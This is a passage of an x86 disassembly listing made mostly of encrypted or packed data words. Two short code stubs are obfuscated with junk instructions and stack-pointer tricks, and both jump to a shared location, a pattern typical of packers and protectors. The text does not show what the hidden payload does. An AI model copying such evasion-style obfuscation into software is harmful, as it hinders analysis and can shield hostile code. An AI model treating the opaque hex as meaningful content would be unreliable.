36B5FFDDh, 47E37C6Ch dd 0DF673542h, 0CCBEB5C2h, 0B935C61Fh, 0A39E2C2h, 13AADBA9h dd 6C3AFDBBh, 6ACCB7Ch, 0BCC6h, 0FE855D00h, 72FE8AFBh dd 40C1C06Ch, 0C7C26133h, 0C736BC50h, 0C9709444h, 0ED9A1BCFh dd 0FB89268Ch, 411F7D78h, 7624FF00h, 0B52027CCh, 349A9F1Bh dd 7C7BF894h, 0D476410Fh, 2E206D41h, 28447C6Dh, 9A0D8A8Dh dd 0F7656006h, 7B38494Ch, 0A5DEB7D3h, 6FFEB8BAh, 5D971B2h dd 0A905903Ah, 82B7BCB6h, 4EE27532h, 0D1CDAFA2h, 0B3E95455h dd 8512A14Dh, 2349C0Ah, 8D340000h, 38BAD6B2h, 0BC435F3Dh dd 2FD7C3A1h, 0DE5A3652h, 3D9AB9DBh, 18787905h, 8DEFFA8Ch dd 0F7959411h, 7F1D189Bh, 0BBFDD1E4h, 97C71E8h, 0F985ECB7h dd 770998F8h, 2EE002CBh, 6B1B5914h, 0B61C9DEAh, 3E5A59DAh dd 0DC7EB995h, 40647549h, 0F7B07C6Ch, 0B3F5C960h, 17C6C3Fh dd 13A3D066h, 7C6C3F51h, 8BF8FD87h, 0D7A67F9h, 8F443B75h dd 13912B62h, 0FB787905h, 0E87FED8Ah, 0A41B55FDh, 0A9039B80h dd 0F541DBh, 85DA0000h, 52FB0FFEh, 0DFA70D39h, 0D753215Eh dd 0CA943D2h, 0E091941Eh, 0FAC0283h, 2527F2BFh, 4D55DE76h dd 0D1DEAFBAh, 972EC550h, 252481C7h, 72204F76h, 76252536h dd 3D4DE582h, 11D02F64h, 16F7D6E4h, 5453D040h, 8C4E6927h dd 2F84519h, 37C97C6Dh, 71A9A8Ch, 1D88E986h, 6CC20741h dd 4AAD57Ch, 1690B74h, 0AD019436h, 82B76353h, 0A7F1691h dd 4C7D7837h, 41E9682Ah, 4F0F8EFBh, 0E212D625h, 18994247h dd 0AD49E3B2h, 54D0CCACh, 38B8EA55h, 118E12A1h, 11161h dd 0D1D05100h, 585DE7B3h, 0CCDB6C38h, 7170F0ACh, 0E6FB8713h dd 2018799Ah, 0ABE78584h, 3C680815h, 0C6D2BEB1h, 895A263Dh dd 0E9E098F6h, 5AEC7C71h, 47EC80C9h, 0DC723340h, 0E645B03Ch dd 0DA9EF07Fh, 0E676244Ah, 0B5A9EC99h, 0C2DEBA3Bh, 0B5B43121h dd 0A33D5434h, 0E9940401h, 85274016h, 0FB8AFBFEh, 70C6C361h dd 640403A0h, 0F6612B14h, 71E0CF98h, 0DC62FE7Ch, 2E4969C1h dd 878225B7h, 0F7FC89F6h, 0FD293D77h, 146413BBh, 66FD686Fh dd 71CE5008h, 0BB139C7Ch, 0F5F0732Fh, 7DE53684h, 1DB4B63Ch dd 5D702886h, 257CB5ABh, 0AB5E0F49h, 55D2DDB5h, 0D41CC3FDh dd 5C48282Fh, 892AC6D7h, 5D9CDC8Ah, 4F28B5ABh, 43E3B1CEh dd 5E420658h, 0E18EB5ABh, 28620C94h, 32B32031h dd 34CBC245h, 0ABAB1E5Ah, 65CDAAB5h, 0C76CB46Bh, 255257D3h dd 0E9A5C744h, 673E4F4Ah, 0AABAFED0h, 5EE6B5ABh, 7753243h dd 0D791ED78h, 0E5B5ABAAh, 386349Ah, 1D000000h, 0FC85DA41h dd 7F0494E5h, 0FC790B78h, 6AFC8CFDh, 0F6720E7Fh, 4AF682F3h dd 0CA6A0677h, 55EA86F7h, 0C96B3976h db 0CCh, 0BFh, 0B9h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], ebp push ecx mov ecx, esp add ecx, 4 sub ecx, 4 xchg ecx, [esp] pop esp mov [esp], esi push 3001h mov [esp], ebp push edx push ebx mov ebx, 4036234Dh mov edx, ebx pop ebx mov esi, 0C6178B09h add esi, edx pop edx sub esp, 4 mov [esp], esp add dword ptr [esp], 4 pop ebp push esi push ebx mov ebx, 5ECD5D43h sub [esp+4], ebx pop ebx pop dword ptr [ebp+8] add dword ptr [ebp+8], 5ECD5D43h push dword ptr [esp] pop ebp add esp, 4 push dword ptr [esp] pop esi add esp, 4 jmp loc_541331 ; --------------------------------------------------------------------------- dw 752Ah dd 2D35B1B1h, 2366A036h, 4DB90AB8h, 0FFC50306h, 0CBE785E0h dd 433E9672h, 1718235Bh, 5B2FED46h, 2BEE0E32h, 59832000h dd 51A53C20h, 535E3353h, 6327D521h, 397DE518h, 66C08B08h dd 0BD83D08Bh, 6481299h, 83097500h, 480D35BDh, 19740006h dd 0C08B5350h, 3FCB8h, 0B9858900h, 8D064829h, 4AA4649Dh dd 5BD3FF06h, 35BD8358h, 6480Dh, 53501774h, 3FCB8h, 0B9858900h dd 8D064829h, 4AA1539Dh, 5BD3FF06h, 50006A58h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1704h, 0C3504000h, 0D753BB3Fh dd 6AD68B66h, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 1B042444h, 46000000h, 4C3CC356h, 1A456A5h, 0B70F1476h dd 8BD78BD2h, 0BE9C0h, 3BAD0000h, 0EDEB3CB8h, 81687DA6h dd 0E5BD839Ch, 1064830h, 70840Fh, 6A0000h db 53h, 0E8h word_594F42 dw 3 ; DATA XREF: ___:off_4384A0o dd 5B200000h, 5C895BC3h, 44810424h, 150424h, 53430000h dd 8BE2D8C3h, 890F53DFh, 0Dh, 8E9h, 0E70B8700h, 12EA722Ch dd 0BD835AADh, 64830F1h, 2F850F00h, 80000000h, 0BD8317DEh dd 648202Dh, 83840F00h, 6A000000h, 3E85300h, 20000000h dd 895BC35Bh, 8104245Ch, 17042444h, 43000000h, 0CE9AC353h dd 68E9145Dh, 6A000004h, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 1C042444h, 46000000h, 619AC356h, 22069AA9h dd 0F66B2ABh, 0DE8BD1BFh, 0 dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 14h, 48C35141h dd 9E9h, 5AF4EA00h, 706786CBh, 8153D2BCh, 0A998F7CBh, 55CA5A0Eh dd 0E6EE0BE1h, 54543DCAh, 8AEEFB74h, 0E39CE033h, 0C03AB033h dd 6945736Bh, 618A9477h, 0FD439477h, 0A0A3B033h, 0A487363h dd 4316E44h, 0AA9A7C16h, 1FEC3BCFh, 0B51DDAE3h, 0E08EB3DBh dd 231A9033h, 0C4CF396Eh, 0C4953137h, 0E0E8A937h, 2321F533h dd 723DCCFh, 0EEF464A9h, 0D58EB033h, 161998B6h, 0C0BE75FAh dd 4EA88F46h, 0E5F15985h, 0EF14B033h, 6935498Ch, 0E01DB031h dd 0B5EFEA60h, 0E047B0DBh, 0D22ED33h, 0E69C0BEBh, 8BBB059h dd 0E074B030h, 0BBF9EB13h, 0E439ECBAh, 0E4AAF4B2h, 0E047B027h dd 3D60E370h, 0E0D1B8DAh, 0D6972D33h, 5F710DF1h, 0B63ADA34h dd 0E01DB3DBh, 23D09033h, 0C433396Dh, 0C4E73137h, 0E0D1AA37h dd 23BEF633h, 9CEF997h, 0EF45DA55h, 0E01DA5B1h, 0E09E5933h dd 0CD42B033h, 61276A75h, 66A36053h, 0C90988CBh, 20FF76FAh dd 86DB059h, 0E01DB030h, 0BF4DEF13h, 0E463CCBAh, 0E487F4B2h dd 0E0D1B02Fh, 3E2BE774h, 1380F9C5h, 1663620Bh, 8E63B53h dd 0E08EB027h, 84DB46D8h, 7B459A3Fh, 0F2BB6BAFh, 3BB0AD1Eh dd 0BE48ED15h, 973872B2h, 8146A6DDh, 0E08A3A3Ch, 8016B033h dd 5BF3EA52h, 0EA494D20h, 8ACCB4BAh, 0E39CE233h, 0C03AB033h dd 69477369h, 618A9467h, 0F5439477h, 0A2A3B033h, 9AE37361h dd 0E0E8A1DBh, 0D010E33h, 8EE388B3h, 774C068Ch, 43A8B970h dd 0EFAEF080h, 94A3B033h, 0E32A38F8h, 0D37ABB07h, 0B2FCECE0h dd 0EF60CA28h, 1E39FC32h, 8DFB059h, 0E047B030h, 0B960E913h dd 0E4F5FCBAh, 0E4CCF4B2h, 0E074B024h, 4DF9E172h, 6BD2DC99h dd 0E0E4E8EDh, 0E0445865h, 0BE83B033h, 9458EEF0h, 0A469B417h dd 0E06EB417h, 0B67CB033h, 8C8931F0h, 5BADD422h, 0E045BC36h dd 17760A33h, 0E85A8E87h, 6FE7E284h, 0E074B030h, 86EB3B55h dd 0EFE1F8B8h, 0E136668Ch, 8A47B033h, 0E34BE633h, 0C0D1B033h dd 69B6736Dh, 61709447h, 0F43E9477h, 0A61DB033h, 6AEF7365h dd 0B21721CAh, 66366D89h, 0B0E0BF60h, 0EF363B61h, 0E07B5802h dd 0CD87B033h, 0E0B2C9DDh, 1378028h, 0E5623F6Bh, 0B8F9EB24h dd 0B081E869h, 0EFBAE061h, 0E074B0BFh, 0B10BBF33h, 0EF45EA69h dd 0E0895802h, 64E1B033h, 2B4F6C7Eh, 0E0C15933h, 623FB033h dd 8A30565Eh, 0D824216h, 0E499DF36h, 0BAD56A7Ah, 0E02D216Bh dd 0E0A05860h, 0BBF1B033h, 0BC61EBF0h, 0A4F5B417h, 0E023B417h dd 0B35EB033h, 2E0F9AF0h, 9FB55A9h, 0E0A3B022h, 0D3A9F911h dd 898A5782h, 9F241C1Fh, 32522830h, 3AA2BFDAh, 8A573C55h dd 0E3AFE733h, 0C0A3B033h, 698E736Ch, 61EC944Fh, 0FD709477h dd 0A73AB033h, 4C267364h, 7AF61A82h, 0D1F3C0DCh, 0EFA771C5h dd 0E0D169B6h, 0A69D633h, 802DC138h, 0E03ABEDBh, 445A0533h dd 572A1CD3h, 37FCB3E3h, 61905191h, 0E797ADFAh, 6B8EE81Fh dd 0D9F4D1E9h, 9BFBF5Bh, 91DB033h, 0E08EB03Dh, 6DFFA264h dd 58769C53h, 1F6536B5h, 99632B67h, 8081D032h, 0E03A373Ch dd 0EFF5B033h, 0C68EB033h, 3439327Dh, 6A3EA429h, 0D514C13Bh dd 81B7B1EAh, 0E08B3152h, 0EFBAB033h, 0E01D17B1h, 330FD633h dd 6848659Eh, 0E0A3B035h, 0D2D143B2h, 652FCDA7h, 0E6390B2Ch dd 0E03AB032h, 8DB6E88h, 0E0075911h, 0E02DB033h, 0E0A05863h dd 0B8F1B033h, 0A461E8F0h, 0A4F5B417h, 0E021B417h, 0B05DB033h dd 654A7DF0h, 29928FF2h, 0EC27BFC9h, 9D1B033h, 0E0E8B034h dd 0A683DB87h, 61BA71FFh, 5B3AE4E8h, 0E0CC5913h, 5A21B033h dd 1CFA744Dh, 0EBA83355h, 0D16CBFCCh, 8A74B033h, 0E3D2E133h dd 0C01DB033h, 69D7736Ah, 6143947Fh, 0F7A79477h, 0A1D1B033h dd 30407362h, 3AF4C679h, 0FFBF77DAh, 0E11BFD88h, 6A8EB033h dd 3FCCD6C7h, 0AB78317Bh, 5989F646h, 0D65D155Eh, 215935BEh dd 5DB7B67Eh, 0E6500F49h, 0E7FA4808h, 2996BF03h, 0B2565B74h dd 8A8A64B9h, 0E300E333h, 0C074B033h, 69617368h, 6119946Fh dd 0F78A9477h, 0A347B033h, 13D07360h, 9B1F0BAh, 0E0E8B020h dd 16E8F84Dh, 42796A7Ch, 0DEE605A6h, 0FCD9E308h, 61B35AF7h dd 41BF6EC5h, 67DED150h, 0E0E8B03Bh, 0E0763F3Ch, 39B0B033h dd 0D0F80DB0h, 0EF8FB67Bh, 0E04734B7h, 0B1A3DA33h, 0E0D1B3DBh dd 23B19033h, 0C438396Ah, 0C47E3137h, 0E01DA437h, 23DFF133h dd 39F0BF5Ah, 633F73B3h, 0A8E1418Eh, 65E7B035h, 0E074B066h dd 86AB059h, 0E01DB030h, 0B84DE813h, 0E463F4BAh, 0E487F4B2h dd 0E0D1B02Ah, 6A2BE073h, 427670B5h, 0ECD3D02Dh, 831DB033h dd 740171C6h, 765D9E31h, 0EFA8DAF9h, 0E0D1B2B1h, 81163B33h dd 51B0BCBh, 5DB9C0BEh, 0E655901Eh, 0F70ABF33h, 8647B033h dd 0A2C473B2h, 0E0AC59C6h, 0E701B033h, 0B974B033h, 987DC925h dd 5D9E0822h, 0E6C680D6h, 0BBC2BF32h, 61A3B033h, 0AAAAE2E8h dd 0E082ED66h, 0E0775863h, 0B81AB033h, 0A494E8F0h, 0A40FB417h dd 0E052B417h, 0B0E3B033h, 86BAABF0h, 612B60B8h, 8658E9F9h dd 0E00B5900h, 0E077B033h, 0E08D5865h, 0BE67B033h, 942AEEF0h dd 0A450B417h, 0E0FFB417h, 0B632B033h, 78B9F0F0h, 3796D6DBh dd 705942B2h, 531AA01Dh, 21197F83h, 6DC20724h, 0AD53E58Eh dd 1AF93D35h, 583CFDF3h, 9B27EC2Eh, 0EB033500h, 2F6CB67Bh dd 5E5959F2h, 0BED65D15h, 7E215935h, 495DB7B6h, 8E6500Fh dd 3E7FA48h, 832996BFh, 0A4F305E9h, 0BB1FBD83h, 7400064Dh dd 808D8D0Dh, 0B806484Eh, 1, 0F40E1FFh, 18Dh, 0DC8AFC00h dd 6A2DE883h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 1A042444h, 47000000h, 71AFC357h, 3BE85EC2h, 0E1EB8155h dd 8B76C923h, 53006AC0h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h dd 1904h, 0C3534300h, 0BEDC77F8h, 0D3B358E5h, 1299BD83h dd 75000648h, 35BD8309h, 6480Dh, 53501974h, 0FCB8C08Bh dd 89000003h, 482FF985h, 0CB9D8D06h, 0FF064AA4h, 83585BD3h dd 480D35BDh, 17740006h, 0FCB85350h, 89000003h, 482FF985h dd 6C9D8D06h, 0FF064AA1h, 6A585BD3h, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 1C042444h, 46000000h, 489BC356h dd 30EB0133h, 6695BCE9h, 0B78AC4BAh, 56006A5Eh, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1604h, 0C3564600h, 603A6639h dd 0F880Fh, 0AE90000h, 0BC000000h, 23956881h, 1547D3Ah dd 3E0BB886h, 8B61301Eh, 24EBC0h, 8 dup(0) dd 0E9000000h, 0BDh, 0C23AB589h, 858B064Dh, 64830E5h, 22D858Bh dd 0B58D0648h, 64DC284h, 47B4858Dh, 0D0FF064Bh, 0E855C3h dd 5D000000h, 0C28AED81h, 0BD83064Dh, 64830E5h, 2C850F01h dd 0FF000000h, 4DC23AB5h, 2D858B06h, 35064802h, 34812736h dd 13CD0FFh, 0A850Fh, 1B80000h, 0E9000000h, 47h, 40E9C033h dd 6A000000h, 3EB58D1Ch, 56064DC2h, 0C23AB5FFh, 858B064Dh dd 648022Dh, 81273635h, 83D0FF34h, 0B58D0CC4h, 64DC23Eh dd 8314468Bh, 0F88304E0h, 7840F04h, 33000000h, 5E9C0h dd 1B80000h, 83000000h, 4830E5BDh, 850F0106h, 7, 2E9C35Dh dd 5D000000h, 63858DCFh, 89064DC2h, 482A8D85h, 98E906h dd 940000h, 50000h, 10000h, 0A280000h, 20000h, 20h dup(0) dd 57690000h, 61E9670Fh, 6800000Bh, 64DC563h, 0FABA9CE9h dd 0C64A68FFh, 92E9064Dh, 68FFFABAh, 64DC719h, 0FABA88E9h dd 0C79B68FFh, 7EE9064Dh, 68FFFABAh, 64DC900h, 0FABA74E9h dd 0C96968FFh, 6AE9064Dh, 68FFFABAh, 64DCC96h, 0FABA60E9h dd 0CD8468FFh, 56E9064Dh, 9BFFFABAh, 2965071Ah, 0B6E28E8Bh dd 3A563211h, 0C9C5A7BAh, 274C2C2Dh, 0F7CA764Eh, 7A67F995h dd 0E0E7821Eh, 686F1480h, 6A445B08h, 7C71F72Eh, 806324BAh dd 8043740Bh, 0DC721872h, 0C3B0B73Ch, 8628FFB4h, 0ED74EE4Ch dd 7E3F4C45h, 690784F1h, 0D583132Dh, 169D7Dh, 94156265h dd 0B787F04h, 2F8FED6Ah, 3ACC6014h, 48397F2Fh, 0F8877624h dd 6B92EC7Bh, 7F7C6C5Ah, 0B1F34330h, 987C6C39h, 12AE712Eh dd 0A539918Ch, 0DBA9157Eh, 31A4h, 7EB9FF00h, 647549DCh dd 0B07C6C40h, 6C2886F7h, 0E77C6C3Fh, 9F8A1CB0h, 0EEC68537h dd 0DBA90335h, 0DCEFh, 91CDC600h, 0A5A44036h, 573495D0h dd 0FE85E4FFh, 72FE8AFBh, 7D51E87Fh, 7624333Bh, 0B8C8C969h dd 32D395E9h, 86E17624h, 7602B119h, 445DE5CDh, 0B8C97637h dd 2C4C4BE8h, 24376DB2h, 0D3D65D76h, 5B5EE5B1h, 0B359622Ah dd 60C34A24h, 0EC677C6Ch, 223ECEFAh, 4725A2D4h, 169D4C77h dd 84056213h, 9B5BBD11h, 3AA982B7h, 0B7560522h, 1D88095Dh dd 2E8B0D86h, 495B77A9h, 6EC880DEh, 6B147626h, 0D6AB57C3h dd 5F52DECAh, 0A1A630E0h, 0E9991612h, 901h, 20405FE6h dd 0A9CBCE74h, 1D7F6AFDh, 80E0E181h, 0B696814h, 37B38BE8h dd 0A43A5632h, 22CFDBB9h, 0D2514D2Fh, 871EB5D7h, 71F77137h dd 3EE97F7Ch, 98F8F985h, 60670Ch, 0D5901891h, 49DF2BA4h dd 0C56DD047h, 30860706h, 0DC7EB997h, 961EB249h, 3212066Fh dd 0A021979Fh, 403D4C0Ah, 8EE97C6Ch, 402361F1h, 0BC2E7C6Ch dd 322D9CFh, 0ADF8DBA9h, 23000000h, 8AFBFE85h, 0E7F72FEh dd 24376FB0h, 0DDD85B76h, 4540E3BFh, 0BD5F5834h, 7BF9932Ah dd 0CA60017Eh, 6C60818Ch, 0BEDAA57Ch, 0B027E5DEh, 0B700E9DEh dd 9F367182h, 1F6C650Dh, 6560029Eh, 563F9714h, 8C852DBFh dd 0CBCE6A26h, 0CF61F8A9h, 38702E23h, 847626BFh, 3BC753FBh dd 0E5D2CFD2h, 610671F2h, 0A5009796h, 7BC243C0h, 12A0EF9Bh dd 1A44F2ADh, 0CF000008h, 5D492B26h, 0DAB6D2D7h, 6E3A4645h dd 0FDA9CBC6h, 0F3107071h, 1B1E9AA2h, 8E9B2D79h, 340BB6E2h dd 0BCBB3854h, 1E7007DCh, 7C71F85Ah, 8547C066h, 0C98F8F9h dd 63006067h, 8AFBFE85h, 127E75FEh, 4CDB81BAh, 71F66372h dd 5DC8B77Ch, 472520C3h, 71F65F89h, 0A163517Ch, 82228BC3h dd 2A8413B9h, 82BA0563h, 3F23CE62h, 983EBFB2h, 0E37D9F18h dd 9F2F662h, 0ADBF112Ah, 144ECBAAh, 62E3E68Dh, 11C72E5h dd 0C51039E0h, 23BACDBAh, 0A9E00D4Bh, 0B9A43B0Bh, 0DED9ABC8h dd 0F19BA478h, 60DACF66h, 6018767Ah, 6C0BA94Fh, 0BC227603h dd 664E0CA2h, 0B211F58Eh, 25CE62F5h, 0AD56422Eh, 483938C5h dd 9913AA2Bh, 9F7ED53Eh, 74B72E0h, 159C0000h, 80227E1Ah dd 14ABE785h, 0B73F6B09h, 26C2DEBAh, 55224123h, 0A0C0C16Dh dd 157752F4h, 9FFDFC79h, 7656003h, 2365394Ch, 0B17C71FAh dd 7EB9742Fh, 1BB249DCh, 24330543h, 0C120D376h, 0CE3FF7C9h dd 2CAA0081h, 7C72BF99h, 19B3224Dh, 0EEFB8D9Bh, 0E2931091h dd 0D1682D85h, 2CBCA93Fh, 6E2A8087h, 0F2A3C1C4h, 0ADDAC95Eh dd 8AA66CCh, 872C7C0Dh, 93100D93h, 56D8D62Ch, 8F3FF00Ch dd 6C9h, 0F898971Eh, 610306ACh, 0D5B79235h, 583839B9h dd 0C3A1A04Ch, 4FEBD3A0h, 0EC722E4Ah, 7A0793F1h, 0EA890567h dd 0BFD68DEFh, 71F9A9EFh, 0F691377Ch, 9FB40B80h, 28C098C0h dd 4B112A82h, 0CCF382DCh, 58277C72h, 0B5B033CDh, 1BB987D7h dd 0DF99F58Ch, 0ED7C7146h, 15692C82h, 7C71465Fh, 0ED7D0A75h dd 7C7146A8h, 5C4837A3h, 0DBAC06A7h, 5E7Dh, 0E980A600h dd 2432D395h, 0F395E176h, 9B189916h, 0A75D5B33h, 331E5E30h dd 0CDAA7624h, 0ADEBC35Ah, 0DB762432h, 4A2B5845h, 88E6713Eh dd 762432D0h, 0BC3B931Ch, 2432662Eh, 8A71ED76h, 0B6F2CC63h dd 0E7762432h, 2432D197h, 0E0901F76h, 649F2F87h, 0BEDDE112h dd 7, 1DC67E5h, 0D9FC0000h, 0A7655E76h, 17E09930h, 0AD1B5DCDh dd 0B03134BEh, 5E581AC7h, 0D57D796Bh, 6C60B687h, 2E80177Ch dd 7C6C436Ah, 11A10976h, 0F2DC8A96h, 932C16F2h, 0D67C7DF9h dd 89F3D06h, 86F7D274h, 2DC451F9h, 3A2CFE74h, 62C8E7F8h dd 4F0CD974h, 2CB62D26h, 0DE1B487Ah, 27B92CADh, 0EDE88A9Ch dd 389E1F9Ch, 20EAD5BBh, 6BFBD9B5h, 0F7AC2C1Ah, 0B203F4F5h dd 839E213Eh, 9E34B5F2h, 6E029512h, 0F3A2CEC5h, 0AADBC659h dd 0EB565CDh, 8924B40Bh, 9D1268C2h, 564EDh, 0E5FC8500h dd 6C690B87h, 100F900Ch, 859C2470h, 0A0FABE7h, 546C456Eh dd 0DFCBA9A8h, 603C5C49h, 0EAA6C2C5h, 0B52E4A49h, 0FC0C4C22h dd 6D87C71h, 0FBFE859Dh, 53F9C28Ah, 3333EAC4h, 0DBB77C6Ch dd 4C2D5A5Fh, 892358CFh, 0EF68AF89h, 0BDCACF6Bh, 0CBD77FFCh dd 0A4BB46DAh, 9000D6D7h, 35A91413h, 30C5B3Dh, 4FB1E8Ch dd 45EC0000h, 0F0722E4Ah, 64FB97F5h, 0E78F1B79h, 96128EEAh dd 85D2F193h, 503031BDh, 0C5A7A244h, 4F2D2CC9h, 0B7D5D053h dd 7335891Ch, 417C71FBh, 0EC8024FFh, 70314E41h, 0BEB53EDAh dd 3530B3C1h, 99780EA2h, 0E6BBBB7Dh, 879E69Bh, 0E6A2FC6Bh dd 0F276252Eh, 89E1DB5h, 8023C9B6h, 0AC57E785h, 76DDE1EEh dd 40h, 0DC7EB9ADh, 4E247549h, 37707C6Ch, 4CACE846h, 0F0A77C6Ch dd 0A2D3D65Ch, 8C736DC5h, 2025CF61h, 0E0FC5253h, 0DBA9143Bh dd 49E1h, 9A31C800h, 6C4884C4h, 757507Ch, 7C6C4941h, 394AE08Fh dd 904C0B80h, 0B2B53268h, 0D577401Ch, 64A86C42h, 733C7C6Dh dd 0AFAA48E4h, 0DF5213CDh, 0FD867C6Ch, 640E9AE6h, 0F5FF661h dd 7C6CE049h, 3542E897h, 42085h, 7EB90200h, 10B749DCh dd 8F274435h, 5C31A806h, 0F2BD7C6Ch, 494CF785h, 818CA5DEh dd 0EBFCD9A8h, 4D3D3443h, 2ABD4F9Eh, 89214E3Fh, 0D5400A35h dd 0B4F700F9h, 0B5304C82h, 0E48ECAA4h, 5D5A7624h, 41CEAFDCh dd 0C9CC7723h, 21EBD4B8h, 0F029D8B6h, 0DAA57C6Ch, 0F3A82AADh dd 0ED8F8A29h, 7DE8B28Dh, 118AE304h, 852DCF9Bh, 1683BE10h dd 204F82B5h, 0CA84453h, 4EF5A50Dh, 0DF9B3A4Bh, 11BB8460h dd 20F92886h, 8AF57C6Dh, 8325B7EEh, 9DEAEF95h, 81EE9F1Ch dd 0DCCA6929h, 42235057h, 0CC5952C5h, 61640FC5h, 0E465D014h dd 6647FD31h, 51F966B0h, 0C1AA5622h, 0F18E832Fh, 19A6E2B0h dd 57D27C6Dh, 32472050h, 9ADF2899h, 0DCAD2ADCh, 0B2662595h dd 0CA33231h, 6CEDF6B2h, 1157277Ch, 0DF7C6CEEh, 0B2C7A0D0h dd 3A4A8E2Eh, 84248ABAh, 0D6410B34h, 0B51C49F8h, 4AE98582h dd 0DF0899BBh, 68E9AAD7h, 6C1D9A1Bh, 0F4FA8719h, 62C84948h dd 79360DB6h, 0B9AF1CDEh, 0B749DC7Eh, 9B9E1B0Dh, 0A60C8DEAh dd 2B629FEFh, 16E7C6Dh, 169E3263h, 0A50D6A1Bh, 3A4B4EF5h dd 0A2CEC56Eh, 0BC2BF1CAh, 0B52B3BE2h, 0B3C0AF82h, 25266123h dd 817EE876h, 0E1E67CA7h, 4BA6DDh, 0B9FD0000h, 7549DC7Eh dd 7C6C4064h, 0CB8DE1B0h, 197C6C3Fh, 3F723688h, 317E7C6Ch dd 0F44233B0h, 7C6C3FB0h, 285958E4h, 0A8D9D858h dd 3FC781DDh, 6A157C6Ch, 0AF904F0Bh, 0D5A6D1Eh, 0BD5EDF41h dd 0B16A5A01h, 6BDBA959h, 0ECh, 0FBFE85B0h, 8277376Ch dd 2EAE9EBDh, 1D99EB88h, 1360650Fh, 667D0692h, 9AEB6809h dd 0F76E650Eh, 1C4A0E60h, 0E9967625h, 0DD663241h, 0B98C7B32h dd 1A9B5C49h, 731FE07Eh, 0F5AE7624h, 120A20EEh, 9C7CD266h dd 617C0317h, 0E0FF8010h, 14951293h, 0E08A0881h, 292597AEh dd 0EB5E181h, 29127A0Bh, 0C35DF463h, 12B42421h, 91394637h dd 6CD47AC3h, 0A3C1AE7Ch, 0DFD25EF2h, 9569C1AEh, 0DE75E0AAh dd 7AFA242h, 0B734D649h, 2951282h, 58CFC26Eh, 492639C4h dd 0AAE68228h, 7411D0Eh, 3576272Ch, 0BBF88988h, 9E21AEC9h dd 12A0EC06h, 0CEDF4FC0h, 13000001h, 0A1FD9F92h, 2E7A0603h dd 0B2EE8A99h, 415D3F32h, 0BFC4A4A5h, 4F42EED6h, 0F2EF712Dh dd 787FFA96h, 0E0E78C18h, 0E2BCD380h, 7C71FEA6h, 85FBAC32h dd 0C98F8F9h, 63006067h, 4C5BEC80h, 6F2D16E6h, 0DBDE64F8h dd 0BDCCA273h, 697C6C3Fh, 0A3E1710Eh, 0AE7C6C3Fh, 0A2594F3Ch dd 78DBA903h, 0D3h, 0FBFE85A3h, 7F72FE8Ah, 4CE0770Eh, 0DEDFACBBh dd 2432C880h, 0C36B1476h, 24374A95h, 0EDF57E76h, 0D1D45F45h dd 3542C3A0h, 0F995F774h, 0CFDA6C7Ah, 370F1BEh, 7A463F74h dd 49197772h, 68320DE1h, 0FFCF66FDh, 7624B0B9h, 84D27807h dd 7C6CE0B9h, 791382EDh, 0E18EFFFAh, 66513949h, 89360BB7h dd 2570401Eh, 0E0BC82B7h, 73304140h, 29C963F2h, 7C138228h dd 344544E0h, 0B733DF77h, 3EBAD6B2h, 0F4F6843Bh, 4FC012A0h dd 0E0DFh, 61600100h, 0E8ED9703h, 9C8B1C88h, 100A0FCh dd 0B68B3763h, 0D0E8C9EAh, 5B375554h, 0ECB8D8C5h, 76224E41h dd 39AAF6CDh, 0FF90C8A6h, 8A5C7C71h, 0F8F98519h, 60670C98h dd 69FF9100h, 3254146Ah, 7607624h, 85973086h, 0FE8AFBFEh dd 0BA127E75h, 2A2DC881h, 0E5643AADh, 947C71F6h, 0E97B66F8h dd 70314E4Bh, 0A0D1DEDAh, 0C15453D0h, 268C992Fh, 0F2710B9Ah dd 0C4455CE4h, 201A26Eh, 8DD8E575h, 0C5B5DDB4h, 5251D206h dd 34C85F36h, 0B9C6B792h, 338DAFE9h, 0DF613DDDh, 0BF3045C2h dd 69E5F5DCh, 20C34FE7h, 48415425h, 0DEE20CAh, 9B77DFF5h dd 0EE69061Bh, 475BC2B7h, 0F52BD99h, 0A27635A7h, 2A660201h dd 1A079989h, 0C5990C6Dh, 0DD337783h, 0D8A95651h, 82Ah dd 0EC80A900h, 0EFE74F5Ah, 0E5FC8524h, 787F0494h, 0FDFC790Bh dd 7F6AFC8Ch, 0F3F6720Eh, 774AF682h, 0F7CA6A06h, 7655EA86h dd 0CCC96B39h, 8956B9BFh, 4C681E6h, 83000000h, 348704EEh dd 14895C24h, 3F426824h, 0C890000h db 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], esi push edi mov edi, 5A3863FCh or edi, 73C05FC1h not edi shl edi, 2 add edi, 0FFFFFFFFh not edi xor edi, 0E9AC3BE6h mov ecx, edi pop edi push 375Bh mov [esp], esp add dword ptr [esp], 4 pop esi push eax mov eax, 8 add eax, esi push ecx pop dword ptr [eax] pop eax mov esi, [esp] push edi mov edi, esp add edi, 4 add edi, 4 xchg edi, [esp] pop esp mov ecx, [esp] push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp jmp loc_541331 ; --------------------------------------------------------------------------- db 0D2h, 0F2h, 0CFh dd 936EA5D4h, 0D5379631h, 0ACE29311h, 4DCE89B8h, 0FFC50306h dd 780713E0h, 44B62466h, 0E998BD7Eh, 0DD78747h, 6FABC51Bh dd 0E3A3CB27h, 0F48D8D25h, 89064DCFh, 4814058Dh, 79BD8B06h dd 0C7064831h, 48302585h, 6FF406h, 52006A00h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1404h, 0C3524200h, 0D985C76Bh dd 6482Ah, 6A000000h, 3E85200h, 20000000h, 895AC35Ah, 81042454h dd 15042444h, 42000000h, 0AC09C352h, 1221B5FFh, 6A0648h dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 160424h, 51410000h dd 0BABA30C3h, 952B85B6h, 6481BCDh, 0E7195FFh, 8F0F0648h dd 6, 14F18509h, 6A0648h, 92D95FFh, 0C08B0648h, 9323AEBh dd 32FC3777h, 2D276873h, 1BEE5FE0h, 263751D6h, 0DBE55331h dd 